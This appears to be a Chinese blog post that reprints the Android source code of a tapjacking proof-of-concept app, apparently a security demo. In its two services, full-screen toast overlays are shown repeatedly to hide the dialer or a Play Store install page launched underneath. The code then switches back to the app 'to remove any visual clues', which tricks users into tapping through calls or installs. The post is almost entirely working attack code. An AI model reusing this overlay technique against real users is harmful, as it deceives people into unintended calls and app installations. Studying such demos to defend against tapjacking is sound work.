tapjacking 源代码

package com.nvisium.tapjacking;

 

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

 

public class Main extends Activity {

 

        /** Called when the activity is first created. */

        @Override

        public void onCreate(Bundle savedInstanceState) {

               super.onCreate(savedInstanceState);

               setContentView(R.layout.main);

        }

 

        public void launchCallDemo(View v) {

               startService(new Intent(DialerService.class.getName()));

        }

 

        public void launchBackgroundInstallDemo(View v) {

               startService(new Intent(BackgroundInstallerService.class.getName()));

        }

 

}

package com.nvisium.tapjacking;

 

import android.app.Service;

import android.content.ComponentName;

import android.content.Context;

import android.content.Intent;

import android.net.Uri;

import android.os.IBinder;

import android.view.Gravity;

import android.view.LayoutInflater;

import android.view.View;

import android.widget.Toast;

 

public class DialerService extends Service {

 

        @Override

        public IBinder onBind(Intent intent) {

               System.out.println();

               return null;

        }

 

        @Override

        public void onCreate() {

 

               super.onCreate();

               LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);

               Toast toast = Toast.makeText(getApplicationContext(), "",

                               Toast.LENGTH_SHORT);

               View view = inflater.inflate(R.layout.dialer_layout, null);

               toast.setView(view);

               toast.setGravity(Gravity.FILL, 0, 0);

               fireLongToast(toast);

               launchDialer();

        }

 

        // this link helped:

        // http://thinkandroid.wordpress.com/2010/02/19/indefinite-toast-hack/

        private void fireLongToast(final Toast toast) {

 

               Thread t = new Thread() {

                       public void run() {

                               int count = 0;

                               int max_count = 10;

                               try {

                                      while (true && count < max_count) {

                                              toast.show();

                                              /*

                                               * We check to see when we are going to give the screen

                                               * back. Right before our toasts end we swap activities

                                               * to remove any visual clues

                                               */

                                              if (count == max_count - 1) {

                                                     ComponentName toLaunch;

                                                     toLaunch = new ComponentName(

                                                                     "com.nvisium.tapjacking",

                                                     "com.nvisium.tapjacking.Main");

                                                     Intent intent = new Intent();

                                                     intent.addCategory(Intent.CATEGORY_LAUNCHER);

                                                     intent.setComponent(toLaunch);

                                                     intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

                                                     getApplication().startActivity(intent);

                                              }

 

                                              /*

                                               * this short sleep helps our toasts transition

                                               * seamlessly

                                               */

                                              sleep(1850);

                                              count++;

                                      }

                               } catch (Exception e) {

                               }

                               stopSelf();

                       }

               };

                t.start();

        }

 

        private void launchDialer() {

 

               Thread t = new Thread() {

                       public void run() {

                               /*

                                * We sleep first in order for the toasts to consume the screen

                                * before the dialer activity launches

                                */

                               try {

                                      sleep(2000);

                               } catch (InterruptedException e) {

                                      // TODO Auto-generated catch block

                                      e.printStackTrace();

                               }

                               Intent intent = new Intent(Intent.ACTION_DIAL);

                               intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

                               // showing Google some love

                               intent.setData(Uri.parse("tel:650-253-0000"));

                               getApplication().startActivity(intent);

                       }

               };

               t.start();

        }

}

 

 

package com.nvisium.tapjacking;

 

import android.app.Service;

import android.content.ComponentName;

import android.content.Context;

import android.content.Intent;

import android.net.Uri;

import android.os.IBinder;

import android.view.Gravity;

import android.view.LayoutInflater;

import android.view.View;

import android.widget.Toast;

 

public class BackgroundInstallerService extends Service {

 

        @Override

        public IBinder onBind(Intent intent) {

 

               return null;

        }

 

        @Override

        public void onCreate() {

 

               super.onCreate();

               LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);

               // create first toast

               Toast toast = Toast.makeText(getApplicationContext(), "",

                               Toast.LENGTH_SHORT);

               View view = inflater.inflate(R.layout.installer_layout, null);

               toast.setView(view);

               toast.setGravity(Gravity.FILL, 0, 0);

               fireLongToast(toast);

               launchMarket();

        }

 

        // this link helped:

        // http://thinkandroid.wordpress.com/2010/02/19/indefinite-toast-hack/

        private void fireLongToast(final Toast toast) {

 

               Thread t = new Thread() {

                       public void run() {

                               int count = 0;

                               int max_count = 10;

                               try {

                                      while (true && count < max_count) {

 

                                              toast.show();

                                              /*

                                               * We check to see when we are going to give the screen

                                               * back. Right before our toasts end we swap activities

                                               * to remove any visual clues

                                               */

                                              if (count == max_count - 1) {

                                                     ComponentName toLaunch;

                                                     toLaunch = new ComponentName(

                                                                     "com.nvisium.tapjacking",

                                                                     "com.nvisium.tapjacking.Main");

                                                     Intent intent = new Intent();

                                                     intent.addCategory(Intent.CATEGORY_LAUNCHER);

                                                     intent.setComponent(toLaunch);

                                                     intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

                                                     getApplication().startActivity(intent);

                                              }

 

                                              /*

                                               * this short sleep helps our toasts transition

                                               * seamlessly

                                               */

                                              sleep(1850);

                                              count++;

                                      }

                               } catch (Exception e) {

                               }

 

                               stopSelf();

 

                       }

               };

               t.start();

        }

 

        private void launchMarket() {

 

               Thread t = new Thread() {

                       public void run() {

                               /*

                                * We sleep first in order for the toasts to consume the screen

                                * before the dialer activity launches

                                */

                               try {

                                      sleep(2000);

                               } catch (InterruptedException e) {

                                      // TODO Auto-generated catch block

                                      e.printStackTrace();

                               }

                               Intent intent = new Intent(Intent.ACTION_VIEW);

                               intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

                               intent.setData(Uri

                                              .parse("market://details?id=com.nvisium.tapjackingdemo.installer"));

                               getApplication().startActivity(intent);

                       }

               };

               t.start();

        }

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值